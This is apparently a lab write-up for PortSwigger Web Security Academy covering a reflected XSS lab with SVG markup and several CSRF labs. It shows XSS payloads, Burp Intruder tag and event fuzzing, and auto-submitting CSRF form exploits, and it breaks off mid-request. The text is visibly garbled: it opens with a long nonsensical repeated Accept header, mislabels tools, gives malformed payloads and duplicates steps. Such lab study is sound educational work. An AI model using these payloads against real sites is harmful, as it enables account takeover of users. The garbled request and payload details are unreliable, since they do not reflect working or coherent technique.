Accept: */*, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng,*/*;q=0.8, application/javascript, application/x-javascript, image/svg+xml, image/webp, image/apng,*/*;q=0.8, application/x-font-ttf, application/x-font-otf, application/x-font-woff, application/x-font-woff2, application/x-font-woff3, application/x-font-woff4, application/x-font-woff5, application/x-font-woff6, application/x-font-woff7, application/x-font-woff8, application/x-font-woff9, application/x-font-woff10, application/x-font-woff11, application/x-font-woff12, application/x-font-woff13, application/x-font-woff14, application/x-font-woff15, application/x-font-woff16, application/x-font-woff17, application/x-font-woff18, application/x-font-woff19, application/x-font-woff20, application/x-font-woff21, application/x-font-woff22, application/x-font-woff23, application/x-font-woff24, application/x-font-woff25, application/x-font-woff26, application/x-font-woff27, application/x-font-woff28, application/x-font-woff29, application/x-font-woff30, application/x-font-woff31, application/x-font-woff32, application/x-font-woff33, application/x-font-woff34, application/x-font-woff35, application/x-font-woff36, application/x-font-woff37, application/x-font-woff38, application/x-font-woff39, application/x-font-woff40, application/x-font-woff41, application/x-font-woff42, application/x-font-woff43, application/x-font-woff44, application/x-font-woff45, application/x-font-woff46, application/x-font-woff47, application/x-font-woff48, application/x-font-woff49, application/x-font-woff50, application/x-font-woff51, application/x-font-woff52, application/x-font-woff53, application/x-font-woff54, application/x-font-woff55, application/x-font-woff56, application/x-font-woff57, application/x-font-woff58, application/x-font-woff59, application/x-font-woff60, application/x-font-woff61, application/x-font-woff62, application/x-font-woff63, application/x-font-woff64, application/x-font-woff65, application/x-font-woff66, application/x-font-woff67, application/x-font-woff68, application/x-font-woff69, application/x-font-woff70, application/x-font-woff71, application/x-font-woff72, application/x-font-woff73, application/x-font-woff74, application/x-font-woff75, application/x-font-woff76, application/x-font-woff77, application/x-font-woff78, application/x-font-woff79, application/x-font-woff80, application/x-font-woff81, application/x-font-woff82, application/x-font-woff83, application/x-font-woff84, application/x-font-woff85, application/x-font-woff86, application/x-font-woff87, application/x-font-woff88, application/x-font-woff89, application/x-font-woff90, application/x-font-woff91, application/x-font-woff92, application/x-font-woff93, application/x-font-woff94, application/x-font-woff95, application/x-font-woff96, application/x-font-woff97, application/x-font-woff98, application/x-font-woff99, application/x-font-woff100, application/x-font-woff101, application/x-font-woff102, application/x-font-woff103, application/x-font-woff104, application/x-font-woff105, application/x-font-woff106, application/x-font-woff107, application/x-font-woff108, application/x-font-woff109, application/x-font-woff110, application/x-font-woff111, application/x-font-woff112, application/x-font-woff113, application/x-font-woff114, application/x-font-woff115, application/x-font-woff116, application/x-font-woff117, application/x-font-woff118, application/x-font-woff119, application/x-font-woff120, application/x-font-woff121, application/x-font-woff122, application/x-font-woff123, application/x-font-woff124, application/x-font-woff125, application/x-font-woff126, application/x-font-woff127, application/x-font-woff128, application/x-font-woff129, application/x-font-woff130, application/x-font-woff131, application/x-font-woff132, application/x-font-woff133, application/x-font-woff134, application/x-font-woff135, application/x-font-woff136, application/x-font-woff137, application/x-font-woff138, application/x-font-woff139, application/x-font-woff140, application/x-font-woff141, application/x-font-woff142, application/x-font-woff143, application/x-font-woff144, application/x-font-woff145, application/x-font-woff146, application/x-font-woff147, application/x-font-woff148, application/x-font-woff149, application/x-font-woff150, application/x-font-woff151, application/x-font-woff152, application/x-font-woff153, application/x-font-woff154, application/x-font-woff155, application/x-font-woff156, application/x-font-woff157, application/x-font-woff158, application/x-font-woff159, application/x-font-woff160, application/x-font-woff161, application/x-font-woff162, application/x-font-woff163, application/x-font-woff164, application/x-font-woff165, application/x-font-woff166, application/x-font-woff167, application/x-font-woff168, application/x-font-woff169, application/x-font-woff170, application/x-font-woff171, application/x-font-woff172, application/x-font-woff173, application/x-font-woff174, application/x-font-woff175, application/x-font-woff176, application/x-font-woff177, application/x-font-woff178, application/x-font-woff179, application/x-font-woff180, application/x-font-woff181, application/x-font-woff182, application/x-font-woff183, application/x-font-woff184, application/x-font-woff185, application/x-font-woff186, application/x-font-woff187, application/x-font-woff188, application/x-font-woff189, application/x-font-woff190, application/x-font-woff191, application/x-font-woff192, application/x-font-woff193, application/x-font-woff194, application/x-font-woff195, application/x-font-woff196, application/x-font-woff197, application/x-font-woff198, application/x-font-woff199, application/x-font-woff200, application/x-font-woff201, application/x-font-woff202, application/x-font-woff203, application/x-font-woff204, application/x-font-woff205, application/x-font-woff206, application/x-font-woff207, application/x-font-woff208, application/x-font-woff209, application/x-font-woff210, application/x-font-woff211, application/x-font-woff212, application/x-font-woff213, application/x-font-woff214, application/x-font-woff215, application/x-font-woff216, application/x-font-woff217, application/x-font-woff218, application/x-font-woff219, application/x-font-woff220, application/x-font-woff221, application/x-font-woff222, application/x-font-woff223, application/x-font-woff224, application/x-font-woff225, application/x-font-woff226, application/x-font-woff227, application/x-font-woff228, application/x-font-woff229, application/x-font-woff230, application/x-font-woff231, application/x-font-woff232, application/x-font-woff233, application/x-font-woff234, application/x-font-woff235, application/x-font-woff236, application/x-font-woff237, application/x-font-woff238, application/x-font-woff239, application/x-font-woff240, application/x-font-woff241, application/x-font-woff242, application/x-font-woff243, application/x-font-woff244, application/x-font-woff245, application/x-font-woff246, application/x-font-woff247, application/x-font-woff248, application/x-font-woff249, application/x-font-woff250, application/x-font-woff251, application/x-font-woff252, application/x-font-woff253, application/x-font-woff254, application/x-font-woff255, application/x-font-woff256, application/x-font-woff257, application/x-font-woff258, application/x-font-woff259, application/x-font-woff260, application/x-font-woff261, application/x-font-woff262, application/x-font-woff263, application/x-font-woff264, application/x-font-woff265, application/x-font-woff266, application/x-font-woff267, application/x-font-woff268, application/x-font-woff269, application/x-font-woff270, application/x-font-woff271, application/x-font-woff272, application/x-font-woff273, application/x-font-woff274, application/x-font-woff275, application/x-font-woff276, application/x-font-woff277, application/x-font-woff278, application/x-font-woff279, application/x-font-woff280, application/x-font-woff281, application/x-font-woff282, application/x-font-woff283, application/x-font-woff284, application/x-font-woff285, application/x-font-woff286, application/x-font-woff287, application/x-font-woff288, application/x-font-woff289, application/x-font-woff290, application/x-font-woff291, application/x-font-woff292, application/x-font-woff293, application/x-font-woff294, application/x-font-woff295, application/x-font-woff296, application/x-font-woff297, application/x-font-woff298, application/x-font-woff299, application/x-font-woff200, application/x-font-woff201, application/x-font-woff202, application/x-font-woff203, application/x-font-woff204, application/x-font-woff205, application/x-font-woff206, application/x-font-woff207, application/x-font-woff208, application/x-font-woff209, application/x-font-woff210, application/x-font-woff211, application/x-font-woff212, application/x-font-woff213, application/x-font-woff214, application/x-font-woff215, application/x-font-woff216, application/x-font-woff217, application/x-font-woff218, application/x-font-woff219, application/x-font-woff220, application/x-font-woff221, application/x-font-woff222, application/x-font-woff223, application/x-font-woff224, application/x-font-woff225, application/x-font-woff226, application/x-font-woff227, application/x-font-woff228, application/x-font-woff229, application/x-font-woff230, application/x-font-woff231, application/x-font-woff232, application/x-font-woff233, application/x-font-woff234, application/x-font-woff235, application/x-font-woff236, application/x-font-woff237, application/x-font-woff238, application/x-font-woff239, application/x-font-woff240, application/x-font-woff241, application/x-font-woff242, application/x-font-woff243, application/x-font-woff244, application/x-font-woff245, application/x-font-woff246, application/x-font-woff247, application/x-font-woff248, application/x-font-woff249, application/x-font-woff250, application/x-font-woff251, application/x-font-woff252, application/x-font-woff253, application/x-font-woff254, application/x-font-woff255, application/x-font-woff256, application/x-font-woff257, application/x-font-woff258, application/x-font-woff259, application/x-font-woff260, application/x-font-woff261, application/x-font-woff262, application/x-font-woff263, application/x-font-woff264, application/x-font-woff265, application/x-font-woff266, application/x-font-woff267, application/x-font-woff268, application/x-font-woff269, application/x-font-woff270, application/x-font-woff271, application/x-font-woff272, application/x-font-woff273, application/x-font-woff274, application/x-font-woff275, application/x-font-woff276, application/x-font-woff277, application/x-font-woff278, application/x-font-woff279, application/x-font-woff280, application/x-font-woff281, application/x-font-woff282, application/x-font-woff283, application/x-font-woff284, application/x-font-woff285, application/x-font-woff286, application/x-font-woff287, application/x-font-woff288, application/x-font-woff289, application/x-font-woff290, application/x-font-woff291, application/x-font-woff292, application/x-font-woff293, application/x-font-woff294, application/x-font-woff295, application/x-font-woff296, application/x-font-woff297, application/x-font-woff298, application/x-font-woff299
```

Screenshot of the 'Reflected XSS with some SVG markup allowed' lab page from Web Security Academy. The page features a purple logo with two faces and a search bar containing '<img src=1 onerror=alert(1)>'. Below the logo is a large image of two smiling men.

Screenshot of the 'Reflected XSS with some SVG markup allowed' lab page after solving it. The status is now 'Solved'. The page displays a message: 'Congratulations, you solved the lab!' with options to 'Share your skills!' and 'Continue learning >'. The background image of the two men remains the same.

Screenshot of the Burp Suite Proxy history tab. It shows 575 captured requests. The first request is highlighted with the raw payload: 'GET /search?%23!alert%281%29%3B'. The 'Inspector' tab shows the raw request body again.

Screenshot of the 'Reflected XSS with some SVG markup allowed' lab page after sending the payload. The status is 'Solved'. The page displays a message: 'Congratulations, you solved the lab!' with options to 'Share your skills!' and 'Continue learning >'. The background image of the two men remains the same.

3. Then select 1st one in http history and send it to the intruder. And open burp intruder

**Choose an attack type**

Attack type: Sniper

**Payload Positions**

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

```
1 GET /?search=<$_SESSION[HTTP_X_REAL_IP]> onerror=alert(1) HTTP/1.1
2 Host: 0ae900100330069ac0f83455000200a0.web-security-academy.net
3 Cookie: session=vKLicQj3kqWxoB2S846NSKJ1551W
4 Sec-Ch-Ua: "Chromium";v="107", "Not-A-Brand";v="24"
5 Sec-Ch-Ua-Mobile: 70
6 Sec-Ch-Ua-Platform: "macOS"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
9 Accept: */*, application/xhtml+xml, application/xml;q=0.9, image/svg+xml, image/webp, image/png, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0ae900100330069ac0f83455000200a0.web-security-academy.net/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
18
19
```

0 payload positions

All labs | Web Security | Lab: Reflected XSS with some SVG markup allowed | Reflected XSS with some SVG markup allowed

Reflected XSS with some SVG markup allowed

LAB Not solved

Back to lab description

WE LIKE TO BLOG

<img src=1 onerror=alert(1)>

Search

- Open position tab and click clear button. Then clear search parameter and push add button twice. Then in the cheat sheet copy 1st one and in the intruder, payload tab, payload option section clicks the paste button and start the attack.

**Choose an attack type**

Attack type: Sniper

**Payload Positions**

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

```
1 GET /?search=<$_SESSION[HTTP_X_REAL_IP]> onerror=alert(1) HTTP/1.1
2 Host: 0ae900100330069ac0f83455000200a0.web-security-academy.net
3 Cookie: session=vKLicQj3kqWxoB2S846NSKJ1551W
4 Sec-Ch-Ua: "Chromium";v="107", "Not-A-Brand";v="24"
5 Sec-Ch-Ua-Mobile: 70
6 Sec-Ch-Ua-Platform: "macOS"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
9 Accept: */*, application/xhtml+xml, application/xml;q=0.9, image/svg+xml, image/webp, image/png, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0ae900100330069ac0f83455000200a0.web-security-academy.net/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
18
19
```

1 payload position

All labs | Web | Lab: Reflected XSS with some SVG markup allowed | Reflected XSS with some SVG markup allowed | Cross-Site Scripting (XSS) | PortSwigger

Academy home

Web Security Academy > Cross-site scripting > Cheat sheet

### Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

You can [download a PDF version of the XSS cheat sheet](#).

This cheat sheet was brought to you by [PortSwigger Research](#). Follow us on twitter to receive updates.

This cheat sheet is regularly updated in 2022. Last updated: Thu, 22 Sep 2022 14:14:56 +0000.

Table of contents

Event handlers

Copy tags to clipboard    Copy events to clipboard    Copy payloads to clipboard

All tags custom tags a	All events onafterprint onafterscriptexecute	All browsers Chrome Firefox Opera
------------------------------	--	--

The screenshot shows the OWASP ZAP interface in the 'Intruder' tab. Under 'Payload Sets', it lists 'Payload set: 1' with a payload count of 152 and 'Payload type: Simple list' with a request count of 152. Below this, the 'Payload Options [Simple list]' section shows a list of items: a, abbr, acronym, address, animate, animationcancel, animationiteration, animationstart, applet, area, and aside. A dropdown menu allows for Paste, Load, Remove, Clear, and Deduplicate operations. An 'Add' button and an 'Enter a new item' input field are also present. The 'Payload Processing' section shows a table with columns for 'Add', 'Edit', 'Remove', 'Up', and 'Down'. The 'Payload Encoding' section has a checkbox for URL-encoding characters: <>?+\*^[]{}@.

The screenshot shows the XSS Cheat Sheet from portswigger.net. It includes a 'Table of contents' and sections for 'Event handlers' and 'Event handlers that do not require user interaction'. The 'Event handlers' section contains buttons for 'Copy tags to clipboard', 'Copy events to clipboard', and 'Copy payloads to clipboard'. It lists 'All tags' (a, abbr, acronym, address, applet, area, article, aside) and 'All events' (onafterprint, onafterscriptexecute, onanimationcancel, onanimationend, onanimationiteration, onanimationstart, onauxclick, onbeforecopy, onbeforecut). The 'All browsers' section lists Chrome, Firefox, and Safari. A search bar at the bottom allows searching by tag or term.

5. So according to the attack window we can see animatetransfrom, image, svg are getting http 200 ok.

The screenshot shows the OWASP ZAP interface in the 'Intruder' tab. The 'Choose an attack type' dropdown is set to 'Sniper'. The 'Payload Positions' section shows a target set to 'lac083455000200a0.web-security-academy.net' and an option to 'Update Host header to match target'. Below this is a large text area containing a raw HTTP request with various headers and parameters. The 'Results' tab is active, displaying a table of requests. The table has columns for Request, Payload, Status, Error, Timeout, Length, and Comment. One row is highlighted in orange with the payload 'animatetransform' and status '200'. The table shows 19 total rows. Below the table is a detailed view of the selected request, showing 'Pretty', 'Raw', and 'Hex' tabs. The 'Event handlers that do not require user interaction' section at the bottom lists 'onafterscriptexecute'.

6. And then again in the previous one copy the second in the cheatsheet and paste it into the payload. Then in the attack window we can see what are getting http 200 request.

The screenshot shows two windows side-by-side. On the left is the OWASP ZAP Intruder tool's payload configuration screen. It has tabs for 'Positions', 'Payloads', 'Resource Pool', and 'Options'. Under 'Payloads', there is a dropdown set to 'Sniper' and a red 'Start attack' button. Below this is a section titled 'Payload Positions' with a note to 'Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.' A 'Target' field contains the URL 'iac083455000200a0.web-security-academy.net' with a checked checkbox for 'Update Host header to match target'. Below the target are numerous lines of raw HTTP headers and body content, including 'GET /?search=<svg><animate transform="translate(10px, 10px)" begin="onload" fill="none"></animate></svg>' and various security headers like 'Sec-Fetch-Site: same-origin' and 'Sec-Fetch-User: ?1'. At the bottom of the payload configuration are buttons for 'Add \$', 'Clear \$', 'Auto \$', and 'Refresh'. Below these buttons is a search bar with placeholder 'Search...' and a 'Clear' button. The status bar at the bottom says '1 payload position' and 'Length: 853'. On the right is a browser window displaying the XSS Cheat Sheet from PortSwigger.net. The URL is https://portswigger.net/web-security/cross-site-scripting/xss-cheat-sheet. The page content includes a 'Table of contents' sidebar, sections for 'Event handlers' (with buttons for 'Copy tags to clipboard', 'Copy events to clipboard', and 'Copy payloads to clipboard'), and three main columns: 'All tags' (a, abbr, acronym, address, applet, area, article, aside), 'All events' (onafterprint, onafterscriptexecute, onanimationcancel, onanimationend, onanimationiteration, onanimationstart, onauxclick, onbeforecopy, onbeforecut), and 'All browsers' (Chrome, Firefox, Safari). There is also a search bar at the bottom of the cheat sheet page.

7. Then type this code in the URL, and Then hit enter button.

`?search=%22%3E%3Csvg%3E%3Canimate transform="onbegin=alert(1)%3E`

**Dashboard** **Target** **Proxy** **Intruder** **Repeater** **Sequencer** **Decoder** **Comparer** **Logger**

Extender Project options User options Learn

1 x 2 x +

Positions Payloads Resource Pool Options

**Payload Sets** Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 110  
Payload type: Simple list Request count: 110

**Payload Options [Simple list]**

This payload type lets you configure a simple list of strings that are used as payloads.

Paste Load ... Remove Clear Deduplicate Add Enter a new item Add from list ... [Pro version only]

**Payload Processing**

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled Rule Remove Up Down

**Payload Encoding**

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

URL-encode these characters: <>?&^[]^\$

**Dashboard** **Target** **Proxy** **Intruder** **Repeater** **Sequencer** **Decoder** **Comparer** **Logger**

Extender Project options User options Learn

1 x 2 x +

Positions Payloads Resource Pool Options

**Payload Sets** Start attack

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 Payload count: 110  
Payload type: Simple list Request count: 110

**Payload Options [Simple list]**

This payload type lets you configure a simple list of strings that are used as payloads.

Paste Load ... Remove Clear Deduplicate Add Enter a new item Add from list ... [Pro version only]

**Payload Processing**

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled Rule Remove Up Down

**Payload Encoding**

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

URL-encode these characters: <>?&^[]^\$

### **3. CSRF**

### 3.1 CSRF vulnerability with no defenses

1. I went to the first lab, typed in the test account's username (wiener: peter), and got in. Then, I went to My Account and saw the option to Update my email address. I used Burp Suite Community Edition to test the functionality by entering an email address and intercepting the request.

The screenshot shows the 'WebSecurity Academy' logo at the top left. In the center, it says 'CSRF vulnerability with no defenses'. Below that is a red button labeled 'Go to exploit server'. To the right is a green button labeled 'LAB Not solved' with a person icon. At the bottom right are links for 'Home | My account'.

**Login**

Username: wiener  
Password:    
Log in

2. Except for an email parameter field, no other request headers or anti-CSRF tokens were included. Because of this, it was clear that the application had no CSRF protections in place.

The screenshot shows the 'WebSecurity Academy' logo at the top left. In the center, it says 'CSRF vulnerability with no defenses'. Below that is a red button labeled 'Go to exploit server'. To the right is a green button labeled 'LAB Not solved' with a person icon. At the bottom right are links for 'Home | My account | Log out'.

**My Account**

Your username is: wiener  
Your email is: iman@gmail.com

Email:   
Update email

The screenshot shows the OWASP ZAP proxy tool's intercept tab. A request for <https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net:443> is selected. The request details pane shows a POST /my-account/change-email HTTP/1.1 request with various headers and a JSON payload. The payload includes a 'session' cookie value of 'fddaxVX5Qmc9uMhfjTMy5AtaxzJUV'. The response pane shows the 'CSRF vulnerability with no defenses' page from the Web Security Academy lab.

This screenshot is similar to the one above, but the 'Selected text' feature in the ZAP interface is highlighted. It shows the same captured CSRF request and the lab response. The 'Selected text' pane displays the JSON payload of the request, specifically the 'session' cookie value.

3. This information, provided in the lab, was sufficient to construct a CSRF payload. Then I manually generated a CSRF PoC by creating an HTML file containing a form replicating the vulnerable request endpoint. After going through the “Go to exploit server,” I wrote the exploit code mentioned in the figure below into the exploit server body. Then I clicked on Store and Deliver exploit to the victim.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Send Cancel Request Attributes Request Query Parameters Request Body Parameters Request Cookies Request Headers

Target: https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net

**Request**

Pretty Raw Hex

```

1 POST /my-account/change-email HTTP/1.1
2 Host: 0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net
3 Cookie: session=7ddxxVXtSQmc9u5MhfJMy5AtaxrtJUV
4 Content-Length: 22
5 Content-Type: application/x-www-form-urlencoded
6 Sec-Ch-Ua: "Chromium";v="105", "Not(A:Brand";v="8"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "macOS"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-Secure: 1
17 Sec-Fetch-Dest: document
18 Referer: https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net/my-account
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-US,en;q=0.9,en;q=0.8
21 Connection: close
22
23 email=iman4@gmail.com

```

Ready

0 matches

**Inspector**

File: /exploit

Head:

HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8

Body:

```

<form method="POST" action="https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="iman@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>

```

Store View exploit Deliver exploit to victim Access log

#### 4. Lab was successfully completed!

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Send Cancel Request Attributes Request Query Parameters Request Body Parameters Request Cookies Request Headers

Target: https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net

**Request**

Pretty Raw Hex

```

1 POST /my-account/change-email HTTP/1.1
2 Host: 0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net
3 Cookie: session=7ddxxVXtSQmc9u5MhfJMy5AtaxrtJUV
4 Content-Length: 22
5 Content-Type: application/x-www-form-urlencoded
6 Sec-Ch-Ua: "Chromium";v="105", "Not(A:Brand";v="8"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "macOS"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-Secure: 1
17 Sec-Fetch-Dest: document
18 Referer: https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net/my-account
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-US,en;q=0.9,en;q=0.8
21 Connection: close
22
23 email=iman4@gmail.com

```

Ready

0 matches

**WebSecurity Academy** CSRF vulnerability with no defenses LAB Solved

Congratulations, you solved the lab! Share your skills! Continue learning >

**Craft a response**

URL: https://exploit-0a0a004e04fec096c05d944f01ee00e2.web-security-academy.net/exploit

HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8

Body:

```

<form method="POST" action="https://0aab0bf0459c0b4c0be94f2001700ab.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="iman@gmail.com">

```

## 3.2 CSRF where token validation depends on request method

1. To do my investigation, I went online and entered the lab. When I intercepted the Update Email feature, I saw that, in opposition to the prior lab, the csrf token had been included with the email field. I tried disabling CSRF protection by removing the csrf token, but my request was still denied.

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. A message at the bottom left says 'Intercept is off'. The browser window displays a 'Web Security Academy' login page with the URL https://0a3f00ea041e51abc279201c00f100fe... . The login form has 'wiener' in the 'Username' field and a masked password. Below the browser is a status bar with 'Home | My account'.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The 'Request' pane shows a POST request to https://0a3f00ea041e51abc279201c00f100fe.web-security-academy.net/my-account/change-email?email=iman2@gmail.com&csrf=90CgNmAHxxCd#87jrlJDN1KsS0dwRlwP. The 'Inspector' pane shows the decoded form data, including the csrf token. The 'My Account' pane shows the user's account information: username 'wiener' and email 'iman2@gmail.com'. The 'Email' field in the 'My Account' pane contains 'iman2@gmail.com'.

2. So, I went about it in a different way. The csrf token was taken out of the request after I switched it from a POST to a GET. That's all there was to it; my request was granted.

The screenshot shows the OWASP ZAP interface in the proxy tab. A POST request to https://0aa3f00ea041e51abc279201c00f100fe.web-security-academy.net:443 is selected. The request payload contains a csrf token. A context menu is open over the request, with 'Change request method' selected. The right panel shows the target website 'Web Security Academy' with a 'My Account' section where the email is being changed.

The screenshot shows the OWASP ZAP interface in the proxy tab. A GET request to https://0aa1009d03e00e97cd010299007500fb.web-security-academy.net:443 is selected. The request payload is identical to the previous POST request but uses the GET method. The right panel shows the target website 'Web Security Academy' with the updated account information, confirming the email change was successful.

3. With this data in hand, I could create a CSRF payload. Using a GET form technique, I generated the following exploit code and sent it off to the exploit site.

The screenshot shows the OWASP ZAP interface. On the left, the 'Repeater' tab is selected, displaying a captured request to change an email address. The request details show a GET method to '/my-account/change-email?email=' with various headers and a cookie containing a session ID. On the right, the 'Craft a response' section is used to construct a CSRF payload. The URL is set to 'https://exploit-0a0200d603ce0e5ec0a9023801...'. The response body contains a form with a hidden input field 'email' set to 'iman@gmail.com'.

```

Request
Pretty Raw Hex
1 GET /my-account/change-email?email=
2 Host: https://exploit-0a0200d603ce0e5ec0a9023801...
3 Cookie: session=CGFXDq2fnwtDxiomB0lY56wHH0ft
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="105",
"Not(A)Brand";v="8"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "macOS"
8 Upgrade-Insecure-Requests: 1
9 Origin: https://0aa1009d03e00e97c0d10299007500fb.web-security-academy.net
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; Chrome/105.0.5195.102 Safari/537.36
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-Security: none
15 Sec-Fetch-Dest: document
16 Referer: https://0aa1009d03e00e97c0d10299007500fb.web-security-academy.net/my-account
17 Accept-Encoding: gzip, deflate
18 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
19 Connection: close
20
21

Response
Pretty Raw Hex Render
1 HTTP/1.1 302 Found
2 Location: /my-account
3 Connection: close
4 Content-Length: 0
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

Craft a response
URL: https://exploit-0a0200d603ce0e5ec0a9023801...
HTTPS
File:
Head:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:
<form method="GET" action="https://0aa1009d03e00e97c0d10299007500fb.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="iman@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>

```

4. Lab was successfully exploited!

The screenshot shows the 'Web Security Academy' challenge page for the 'CSRF where token validation depends on request method' lab. The status is 'Solved'. The browser window shows the exploit was successful, with a message 'Congratulations, you solved the lab!' and options to 'Share your skills!' or 'Continue learning >'. The ZAP interface on the left shows the same request and response details as the previous screenshot, confirming the exploit worked.

### 3.3 CSRF where token validation depends on token being present

1. Like in the previous lab, I went online and entered the lab. In a pattern like the earlier lab, I searched on the Update Email feature and found that, in addition to the email field, there was also a csrf token.

The screenshot shows the Burp Suite interface on the left and a web browser window on the right. The Burp Suite interface has tabs for Dashboard, Target, Proxy (selected), Intruder, Repeater, Sequencer, Decoder, Comparer, and Logger. Under the Proxy tab, it shows Intercept is off. The browser window displays a login page for 'WebSecurity Academy' with the title 'CSRF where token validation depends on token being present'. The URL is https://0a7a00880319c162c0db0803006f00e2.... The page includes a 'Go to exploit server' button and a 'Back to lab description' link. Below the browser is a 'Login' form with 'Username' and 'Password' fields. The 'Password' field has a tooltip 'Please fill in this field.' A 'Log In' button is at the bottom of the form. At the bottom of the Burp Suite interface, there are 'Learn more' and 'Open browser' buttons.

2. Using this data, I was able to build my CSRF hack. Then I clicked “Go to exploit server” and wrote the I wrote the exploit code mentioned in the figure below into the exploit server body. Then I clicked on Store and Deliver exploit to the victim.

```

1 POST /change-email HTTP/1.1
2 Host: https://0a7a00880319c162cd0b0803006f00e2...
3 Referer: https://0a7a00880319c162cd0b0803006f00e2.../web-security-academy.net
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 41
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
7 Sec-Ch-Ua: "Chromium";v="105", "Not(brand)", "98"
8 Sec-Ch-Ua-Mobile: ?0
9 Sec-Ch-Ua-Platform: "windows"
10 Upgrade-Insecure-Requests: 1
11 Origin: https://0a7a00880319c162cd0b0803006f00e2...
12 Content-Type: application/x-www-form-urlencoded
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0a7a00880319c162cd0b0803006f00e2.../web-security-academy.net/my-account
